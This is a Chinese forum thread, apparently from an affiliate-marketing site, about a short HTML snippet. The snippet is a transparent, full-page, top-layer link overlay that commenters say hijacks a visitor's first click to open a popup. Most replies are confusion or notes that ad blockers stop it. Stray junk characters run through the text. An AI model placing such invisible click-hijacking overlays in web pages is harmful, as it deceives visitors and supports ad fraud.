<a  target="_blank" style="position: absolute; z-index: 2147483647; display: block; top: 0px; left: 0px; cursor: default; opacity: 0;"><div style="background-color: rgb(255, 255, 255); width: 1903px; height: 650px;"></div></a>

/ ^' ]# J, d4 L& k- ?  F# P很隐秘的一段好代码
4 \% i( q( j  i. @

Smythe_Bob

标记一下 好象看不懂还

网赚高富帅

不清楚国内，莫非做taobao不可以直接用弹窗吗？

booday

没用 360 搜狗 直接就拦截了，chrome可以弹出来

阿百川

adblock 完美屏蔽

PHP

没研究全，期待跟多解析。

echo

代码看不懂，不过觉得挺好用的……自动弹窗

cissss

没懂

1，首次访问有个弹窗，但是被chrome给拦截了
7 r- {1 Z7 e' e$ f" J; B/ j
2，劫持了第一次点击
2 Z8 G- \5 N8 X  N! W2 u. _
3，CS了一下unionsky
% |5 B5 N2 ~( U  Z3 g+ n% O: m
2 x% b( C! R/ _$ I- y4 {) n然后？

小狠

cissss 发表于 2013-12-18 01:24
: u7 ]7 N. y: q; A没懂

( |1 {1 \7 ]$ g1，首次访问有个弹窗，但是被chrome给拦截了

懂的人一看就懂 不懂的人怎么看就不懂

1990a

这个CJ怎么搞的这么复杂...

cissss

小狠 发表于 2013-12-18 03:49
% k* `: b& }; L7 `9 k懂的人一看就懂 不懂的人怎么看就不懂

我确实不懂你发这贴的意思。 可以理解为装逼么？

bowen

不就是个弹窗代码吗？

babe_lucky

我表示看不懂

cnnova

占位，慢慢领会啥意思